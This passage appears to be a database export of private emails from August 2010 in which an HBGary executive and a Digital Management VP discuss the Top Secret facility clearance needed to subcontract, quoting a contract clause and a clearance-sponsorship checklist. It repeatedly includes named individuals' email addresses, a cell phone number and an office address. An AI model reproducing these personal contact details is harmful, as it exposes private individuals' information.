Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Friday, August 20, 2010 3:37 PM\r\nTo: John Fanguy\r\nSubject: Re: Top Secret Security Facilities\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nI don&#39;t.\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nOn Aug 20, 2010, at 3:35 PM, John Fanguy wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nPlease\r\nconfirm back that you have a Top Secret Security Facility (required by TSA for\r\nall companies).\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nThanks,\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n-John\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nJohn\r\nFanguy\r\n\r\n\r\n\r\n\r\n\r\nVP\r\n\r\n\r\n\r\n\r\n\r\nDigital\r\nManagement, Inc.\r\n\r\n\r\n\r\n\r\n\r\n&quot;Leading Government Transformation&quot;\r\n\r\n\r\n\r\n\r\n\r\nGSA 8(a) STARS - GSA IT 70 - GSA MOBIS\r\n\r\n\r\n\r\n\r\n\r\n--------------------------------------------------\r\n\r\n\r\n\r\n\r\n\r\n6701\r\nDemocracy Blvd, Suite 500\r\nBethesda, Maryland 20817\r\n301-346-6749 cell\r\n\r\n\r\n\r\n\r\n\r\n240-223-4800 main\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',9794,'aaron_hbgary_com/9794.html'),(10705,'2010-08-20','\"John Fanguy\" <jfanguy@digitalmanagement.com>','/aaron@hbgary.com/new/1297008265.M320283P14101Q5561.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Top Secret Security Facilities','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nH.1 FACILITY CLEARANCE \r\n\r\nAccess to classified\r\ninformation at the Top Secret level is required to support the Information\r\nTech-nology Security Support Services contract. The Contractor and any subcontractor(s) shall\r\nprovide special handling for TOP SECRET collateral classified and/or sensitive\r\nbut unclassified (SBU) data. As such, the Contractor and any subcontractor(s) shall possess a current\r\nfacility clearance at least at the TOP SECRET level. The prime\r\ncontractor is responsible for ensuring that they and any subcon-tractor(s)\r\ncomply with the provisions of the National Industrial Security Program\r\nOperating Manual (NISPOM).\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n-John\r\n\r\n&nbsp;\r\n\r\nVP\r\n\r\nDigital Management, Inc.\r\n\r\n301-346-6749 cell\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Friday, August 20, 2010 3:58 PM\r\nTo: John Fanguy\r\nSubject: Re: Top Secret Security Facilities\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nI got really nervous. So then I can\'t submit folks for\r\npositions then right?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Aug 20, 2010, at 3:54 PM, John Fanguy &lt;jfanguy@digitalmanagement.com&gt;\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWe\r\ncan sponsor you, btw, to get it.&nbsp; I&#8217;ll double-check but I think every sub\r\nneeds it.&nbsp; No biggee: the HBGary logo for the sw company will still be in\r\nthere and you&#8217;ll get your percentage workshare.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n-John\r\n\r\n&nbsp;\r\n\r\nVP\r\n\r\nDigital\r\nManagement, Inc.\r\n\r\n301-346-6749\r\ncell\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Friday, August 20, 2010 3:37 PM\r\nTo: John Fanguy\r\nSubject: Re: Top Secret Security Facilities\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nI\r\ndon\'t.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn\r\nAug 20, 2010, at 3:35 PM, John Fanguy wrote:\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nPlease confirm back\r\nthat you have a Top Secret Security Facility (required by TSA for all\r\ncompanies).\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThanks,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n-John\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nJohn Fanguy\r\n\r\n\r\n\r\n\r\n\r\nVP\r\n\r\n\r\n\r\n\r\n\r\nDigital Management,\r\nInc.\r\n\r\n\r\n\r\n\r\n\r\n&quot;Leading\r\nGovernment Transformation&quot;\r\n\r\n\r\n\r\n\r\n\r\nGSA\r\n8(a) STARS - GSA IT 70 - GSA MOBIS\r\n\r\n\r\n\r\n\r\n\r\n--------------------------------------------------\r\n\r\n\r\n\r\n\r\n\r\n6701 Democracy Blvd,\r\nSuite 500\r\nBethesda, Maryland 20817\r\n301-346-6749 cell\r\n\r\n\r\n\r\n\r\n\r\n240-223-4800&nbsp;main\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',8102,'aaron_hbgary_com/8102.html'),(10706,'2010-08-20','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008265.M525696P14101Q5562.eml','\"John Fanguy\" <jfanguy@digitalmanagement.com>','Re: Top Secret Security Facilities','So based on this what is our status? &nbsp;Should we submit rates, should we submit resumes?AaronOn Aug 20, 2010, at 3:59 PM, John Fanguy wrote:H.1 FACILITY CLEARANCEAccess to classified information at the Top Secret level is required to support the Information Tech-nology Security Support Services contract. The Contractor and any subcontractor(s) shall provide special handling for TOP SECRET collateral classified and/or sensitive but unclassified (SBU) data. As such, the Contractor and any subcontractor(s) shall possess a current facility clearance at least at the TOP SECRET level.&nbsp;The prime contractor is responsible for ensuring that they and any subcon-tractor(s) comply with the provisions of the National Industrial Security Program Operating Manual (NISPOM).&nbsp;-John&nbsp;VPDigital Management, Inc.301-346-6749 cell&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Friday, August 20, 2010 3:58 PMTo:&nbsp;John FanguySubject:&nbsp;Re: Top Secret Security Facilities&nbsp;I got really nervous. So then I can\'t submit folks for positions then right?&nbsp;AaronSent from my iPadOn Aug 20, 2010, at 3:54 PM, John Fanguy &lt;jfanguy@digitalmanagement.com&gt; wrote:We can sponsor you, btw, to get it.&nbsp; I’ll double-check but I think every sub needs it.&nbsp; No biggee: the HBGary logo for the sw company will still be in there and you’ll get your percentage workshare.&nbsp;-John&nbsp;VPDigital Management, Inc.301-346-6749 cell&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Friday, August 20, 2010 3:37 PMTo:&nbsp;John FanguySubject:&nbsp;Re: Top Secret Security Facilities&nbsp;I don\'t.&nbsp;On Aug 20, 2010, at 3:35 PM, John Fanguy wrote:&nbsp;Please confirm back that you have a Top Secret Security Facility (required by TSA for all companies).&nbsp;Thanks,&nbsp;-John&nbsp;John FanguyVPDigital Management, Inc.\"Leading Government Transformation\"GSA 8(a) STARS - GSA IT 70 - GSA MOBIS--------------------------------------------------6701 Democracy Blvd, Suite 500Bethesda, Maryland 20817301-346-6749 cell240-223-4800&nbsp;main&nbsp;&nbsp;',14184,'aaron_hbgary_com/14184.html'),(10707,'2010-08-20','\"John Fanguy\" <jfanguy@digitalmanagement.com>','/aaron@hbgary.com/new/1297008265.M777893P14101Q5563.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Top Secret Security Facilities','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nHold off.&nbsp; Since this is small business focused, there&#8217;s a\r\nchance they would relax it on the subs.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n-John\r\n\r\n&nbsp;\r\n\r\nVP\r\n\r\nDigital Management, Inc.\r\n\r\n301-346-6749 cell\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Friday, August 20, 2010 4:00 PM\r\nTo: John Fanguy\r\nSubject: Re: Top Secret Security Facilities\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nSo based on this what is our status? &nbsp;Should we submit\r\nrates, should we submit resumes?\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Aug 20, 2010, at 3:59 PM, John Fanguy wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nH.1 FACILITY\r\nCLEARANCE\r\n\r\n\r\n\r\n\r\n\r\nAccess to classified\r\ninformation at the Top Secret level is required to support the Information\r\nTech-nology Security Support Services contract. The Contractor and any subcontractor(s) shall\r\nprovide special handling for TOP SECRET collateral classified and/or sensitive\r\nbut unclassified (SBU) data. As such, the\r\nContractor and any subcontractor(s) shall possess a current facility clearance\r\nat least at the TOP SECRET level.&nbsp;The\r\nprime contractor is responsible for ensuring that they and any\r\nsubcon-tractor(s) comply with the provisions of the National Industrial\r\nSecurity Program Operating Manual (NISPOM).\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-John\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nVP\r\n\r\n\r\n\r\n\r\n\r\nDigital Management, Inc.\r\n\r\n\r\n\r\n\r\n\r\n301-346-6749 cell\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron Barr\r\n[mailto:aaron@hbgary.com]&nbsp;\r\nSent:&nbsp;Friday, August 20,\r\n2010 3:58 PM\r\nTo:&nbsp;John Fanguy\r\nSubject:&nbsp;Re: Top Secret\r\nSecurity Facilities\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI got really nervous. So then I can\'t submit folks for\r\npositions then right?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Aug 20, 2010, at 3:54 PM, John Fanguy &lt;jfanguy@digitalmanagement.com&gt;\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWe can sponsor you, btw, to get it.&nbsp; I&#8217;ll double-check but\r\nI think every sub needs it.&nbsp; No biggee: the HBGary logo for the sw company\r\nwill still be in there and you&#8217;ll get your percentage workshare.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-John\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nVP\r\n\r\n\r\n\r\n\r\n\r\nDigital Management, Inc.\r\n\r\n\r\n\r\n\r\n\r\n301-346-6749 cell\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;\r\nSent:&nbsp;Friday, August 20,\r\n2010 3:37 PM\r\nTo:&nbsp;John Fanguy\r\nSubject:&nbsp;Re: Top Secret\r\nSecurity Facilities\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI don\'t.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Aug 20, 2010, at 3:35 PM, John Fanguy wrote:\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nPlease\r\nconfirm back that you have a Top Secret Security Facility (required by TSA for\r\nall companies).\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThanks,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-John\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nJohn\r\nFanguy\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nVP\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nDigital\r\nManagement, Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&quot;Leading Government Transformation&quot;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nGSA 8(a) STARS - GSA IT 70 - GSA MOBIS\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n--------------------------------------------------\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n6701\r\nDemocracy Blvd, Suite 500\r\nBethesda, Maryland 20817\r\n301-346-6749 cell\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n240-223-4800&nbsp;main\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',7049,'aaron_hbgary_com/7049.html'),(10708,'2010-08-20','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008265.M93704P14101Q5560.eml','\"John Fanguy\" <jfanguy@digitalmanagement.com>','Re: Top Secret Security Facilities','I got really nervous. So then I can&#39;t submit folks for positions then right?AaronSent from my iPadOn Aug 20, 2010, at 3:54 PM, John Fanguy &lt;jfanguy@digitalmanagement.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nWe can sponsor you, btw, to get it.  I’ll double-check but I\r\nthink every sub needs it.  No biggee: the HBGary logo for the sw company will\r\nstill be in there and you’ll get your percentage workshare.\r\n\r\n \r\n\r\n\r\n\r\n-John\r\n\r\n \r\n\r\nVP\r\n\r\nDigital Management, Inc.\r\n\r\n301-346-6749 cell\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Friday, August 20, 2010 3:37 PM\r\nTo: John Fanguy\r\nSubject: Re: Top Secret Security Facilities\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nI don&#39;t.\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nOn Aug 20, 2010, at 3:35 PM, John Fanguy wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nPlease\r\nconfirm back that you have a Top Secret Security Facility (required by TSA for\r\nall companies).\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nThanks,\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n-John\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nJohn\r\nFanguy\r\n\r\n\r\n\r\n\r\n\r\nVP\r\n\r\n\r\n\r\n\r\n\r\nDigital\r\nManagement, Inc.\r\n\r\n\r\n\r\n\r\n\r\n&quot;Leading Government Transformation&quot;\r\n\r\n\r\n\r\n\r\n\r\nGSA 8(a) STARS - GSA IT 70 - GSA MOBIS\r\n\r\n\r\n\r\n\r\n\r\n--------------------------------------------------\r\n\r\n\r\n\r\n\r\n\r\n6701\r\nDemocracy Blvd, Suite 500\r\nBethesda, Maryland 20817\r\n301-346-6749 cell\r\n\r\n\r\n\r\n\r\n\r\n240-223-4800 main\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',3570,'aaron_hbgary_com/3570.html'),(10709,'2010-08-20','\"John Fanguy\" <jfanguy@digitalmanagement.com>','/aaron@hbgary.com/new/1297008266.M368421P14101Q5565.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Top Secret Security Facilities','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n1)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nSo based on this, you can&#8217;t initially be a sub on the\r\ncontract.&nbsp; No biggee.&nbsp; By the time this contract clears protests you&#8217;ll\r\nhave it.&nbsp; Just confirmed with Sunny we can sponsor you.&nbsp; \r\n\r\n&nbsp;\r\n\r\n2)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nHere&#8217;s the best link on getting it and how sponsorship\r\nworks.&nbsp; http://www.dss.mil/isp/fac_clear/fac_clear_check.html\r\n\r\n\r\n&nbsp;\r\n\r\n3)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nFirst step is the sponsorship letter, http://www.dss.mil/isp/fac_clear/documents/fcl_sponsorship_request_letter.pdf&nbsp;\r\nI&#8217;ve attached it.&nbsp; Copy and paste it and fill out and return to me\r\nand we&#8217;ll get going with it.\r\n\r\n&nbsp;\r\n\r\n-John\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nChecklist for New\r\nFacility Security Clearances\r\n\r\nDSS uses CAGE\r\nCodes to track basic facility information. If your company does not already\r\nhave a CAGE Code for the facility requiring clearance, one may be obtained by\r\nsubmitting a DD Form 2051 to Commander, Defense Logistics Services Center,\r\nATTN: DLSC-SBB, Federal Center, 74 North Washington, Battle Creek, MI\r\n49017-3084. The DD Form 2051 can be found at:\r\nhttp://www.dtic.mil/whs/directives/infomgt/forms/eforms/dd2051.pdf\r\n\r\nSection A of\r\nthe form must be filled out and signed by the sponsoring government agency.\r\nYour sponsoring government agency may also request the CAGE Code for you by\r\nsubmitting a request on agency letterhead to the above address.\r\n\r\nAlternatively,\r\nyou can register with the Central Contractor Registration (CCR) database to get\r\na CAGE Code at http://www.ccr.gov/.\r\n\r\n\r\n\r\n\r\n\r\n \r\n  \r\n  Checklist for New\r\n  Facility Security Clearances \r\n  \r\n \r\n \r\n  \r\n  &middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n  Sponsorship: The very first step to clearing a company is for them to be\r\n  sponsored for a facility clearance by either a government contracting\r\n  activity (GCA) or another cleared company.&nbsp; The Facility Clearance\r\n  Branch has a sample sponsorship letter that the sponsoring\r\n  organization may use to submit the sponsorship. \r\n  \r\n \r\n \r\n  \r\n  &middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n  DSS Begins the Process: Once the sponsorship letter has been\r\n  received and accepted, the Facility Clearance Branch will send the sponsored\r\n  organization a package that contains detailed information for a company that\r\n  is beginning the facility clearance process. The Facility Clearance Branch\r\n  will also contact the local Industrial Security Field Office, which will\r\n  assign an Industrial Security Representative to make contact with and begin\r\n  processing the organization for a facility clearance. \r\n  \r\n \r\n \r\n  \r\n  &middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n  Commercial and Government Entity Code (CAGE Code): DSS uses CAGE Codes\r\n  to track basic facility information. If your company does not already have a\r\n  CAGE Code for the facility requiring clearance, one may be obtained by\r\n  submitting a DD Form 2051 to Commander, Defense Logistics Services Center,\r\n  ATTN: DLSC-SBB, Federal Center, 74 North Washington, Battle Creek, MI\r\n  49017-3084. The DD Form 2051 can be found at:\r\n  http://www.dtic.mil/whs/directives/infomgt/forms/eforms/dd2051.pdf\r\n  \r\n  \r\n  Section A of the form must be filled out and signed by the sponsoring\r\n  government agency. Your sponsoring government agency may also request the\r\n  CAGE Code for you by submitting a request on agency letterhead to the above\r\n  address. \r\n  \r\n  Alternatively, you can register with the Central Contractor Registration\r\n  (CCR) database to get a CAGE Code at http://www.ccr.gov/. \r\n  \r\n \r\n \r\n  \r\n  &middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n  Prepare for DSS\' Visit:&nbsp;\r\n  o&nbsp;&nbsp;&nbsp;\r\n  NISPOM: Download the National\r\n  Industrial Security Program Operating Manual (NISPOM).&nbsp; Becoming\r\n  familiar with the NISPOM also will take a great deal of time and will,\r\n  likewise, require a determined effort. \r\n  \r\n \r\n \r\n  \r\n  &middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n  Prepare Organizational Documentation/Information:&nbsp; Obtain and\r\n  have available the following documents/information for your first visit from\r\n  your Industrial Security Representative from DSS. \r\n  &nbsp;\r\n  o&nbsp;&nbsp;&nbsp;\r\n  Articles of Incorporation, Stock Records, Minutes of Board\r\n  Meetings, and Corporate by-laws. \r\n  o&nbsp;&nbsp;&nbsp;\r\n  Federal Tax ID Number. \r\n  o&nbsp;&nbsp;&nbsp;\r\n  Any 10K Reports filed with the Securities Exchange Commission.\r\n  \r\n  o&nbsp;&nbsp;&nbsp;\r\n  Key Management Personnel List. The senior management official,\r\n  the prospective Facility Security Officer (FSO), all executive committee\r\n  members, and all board members including the Chairman should be listed.&nbsp;\r\n  NISPOM paragraph 2-104 provides some guidance, and additional guidance will\r\n  be provided by your Industrial Security Representative during the first\r\n  visit. \r\n  o&nbsp;&nbsp;&nbsp;\r\n  Brief summary of your company\'s primary business or services\r\n  provided. \r\n  o&nbsp;&nbsp;&nbsp;\r\n  E-mail, Fax, and complete address information for the last ten\r\n  years &#8212; include the last four number extension on your zip code. \r\n  o&nbsp;&nbsp;&nbsp;\r\n  Proof of US Citizenship for prospective Facility Security\r\n  Officer (FSO) (see NISPOM para 2-207). \r\n  \r\n \r\n \r\n  \r\n  &middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n  Personnel Security Clearance:&nbsp; In order for\r\n  your company to be cleared, specified Key Management Personnel (KMP) must be\r\n  cleared.&nbsp; Other KMP may be excluded, unless they will require access to\r\n  classified information.&nbsp; Your Defense Security Service Industrial\r\n  Security Representative will help you identify those that must be cleared and\r\n  those that may be excluded.&nbsp; This must be done as soon as possible! \r\n  \r\n \r\n \r\n  \r\n  &middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n  Fingerprint Cards (FD 258): These forms will be in the initial\r\n  package mailed to you by the Facility Clearance Branch and should be mailed\r\n  to OPM (see below). Only use the forms that are provided to you--other types\r\n  of fingerprint cards, such as local law enforcement forms, will be rejected.\r\n  \r\n  US Mail:\r\n  E-QIP Rapid Response Team\r\n  OPM-FIPC\r\n  Post Office Box 618\r\n  Boyers, PA 16018\r\n  \r\n  FedEx:\r\n  E-QIP Rapid Response Team\r\n  OPM-FIPC\r\n  1137 Branchton Road\r\n  Boyers, PA 16020\r\n  \r\n \r\n \r\n  \r\n  &middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n  DEFENSE SECURITY SERVICE FACILITY PROCESS FORMS:&nbsp; Complete the\r\n  following documents for review by your Industrial Security Representative\r\n  from Defense Security Service. \r\n  \r\n \r\n \r\n  \r\n  &middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n  DD Form 441 This is the Department of Defense\r\n  Security Agreement.&nbsp; It is an agreement between your organization and\r\n  the United States Government that details the security responsibilities of\r\n  both the cleared organization and the United States Government.&nbsp; Submit\r\n  in duplicate.&nbsp; Do not date; date will be added when the Facility\r\n  Clearance is granted by the authorized government representative.&nbsp; \r\n  o&nbsp;&nbsp;&nbsp;\r\n  Corporations:&nbsp; Show name as it appears on Articles of\r\n  Incorporation.&nbsp; All forms must be signed by a corporate officer, and the\r\n  Certificate portion must be signed by a second officer such as the corporate\r\n  secretary.&nbsp; No witnesses are required.&nbsp; All forms must be impressed\r\n  with the corporate seal, if there is one. \r\n  o&nbsp;&nbsp;&nbsp;\r\n  Partnership:&nbsp; Show correct legal name of the business and full names\r\n  of all general partners.&nbsp; All forms must be signed by a partner.&nbsp;\r\n  Two witnesses\' signatures are required. \r\n  o&nbsp;&nbsp;&nbsp;\r\n  Proprietorship:&nbsp; Show the full name of the owner and the correct legal\r\n  name of the business.&nbsp; All forms must be signed by the owner.&nbsp; Two\r\n  witnesses\' signatures are required. \r\n  \r\n \r\n \r\n  \r\n  &middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n  DD Form 441-1 This is an attachment to the DD Form\r\n  441 that lists cleared divisions or branch offices that are included in and\r\n  covered by the provisions of the organization\'s Security Agreement and\r\n  Certificate Pertaining to Foreign Interest. Submit in duplicate only if you\r\n  are a division of a Home Office with a Facility Clearance.&nbsp; Date of\r\n  Security Agreement will be affixed by the authorized government\r\n  representative.&nbsp; Show correct legal name of the business\r\n  organization.&nbsp; It should be signed by an official of the company\r\n  authorized to do so, such as the Corporate President.&nbsp; When the executed\r\n  copy is returned, one copy each of both the Security Agreement and Appendage\r\n  should be sent to every facility listed. \r\n  \r\n \r\n \r\n  \r\n  &middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n  SF 328 Certificate Pertaining to Foreign Interest: The Certificate\r\n  Pertaining to Foreign Interest is used to report your organization\'s foreign\r\n  involvement.&nbsp; Submit one copy and retain one executed copy.&nbsp; Fully\r\n  explain all &quot;yes&quot; answers.&nbsp; Click on Instructions for completing the SF 328 to see\r\n  further instructions. \r\n  \r\n \r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n-John\r\n\r\n&nbsp;\r\n\r\nVP\r\n\r\nDigital Management, Inc.\r\n\r\n301-346-6749 cell\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Friday, August 20, 2010 4:00 PM\r\nTo: John Fanguy\r\nSubject: Re: Top Secret Security Facilities\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nSo based on this what is our status? &nbsp;Should we submit\r\nrates, should we submit resumes?\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Aug 20, 2010, at 3:59 PM, John Fanguy wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nH.1 FACILITY\r\nCLEARANCE\r\n\r\n\r\n\r\n\r\n\r\nAccess to classified\r\ninformation at the Top Secret level is required to support the Information\r\nTech-nology Security Support Services contract. The Contractor and any subcontractor(s) shall\r\nprovide special handling for TOP SECRET collateral classified and/or sensitive\r\nbut unclassified (SBU) data. As such, the\r\nContractor and any subcontractor(s) shall possess a current facility clearance\r\nat least at the TOP SECRET level.&nbsp;The\r\nprime contractor is responsible for ensuring that they and any\r\nsubcon-tractor(s) comply with the provisions of the National Industrial\r\nSecurity Program Operating Manual (NISPOM).\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-John\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nVP\r\n\r\n\r\n\r\n\r\n\r\nDigital Management, Inc.\r\n\r\n\r\n\r\n\r\n\r\n301-346-6749 cell\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron Barr\r\n[mailto:aaron@hbgary.com]&nbsp;\r\nSent:&nbsp;Friday, August 20,\r\n2010 3:58 PM\r\nTo:&nbsp;John Fanguy\r\nSubject:&nbsp;Re: Top 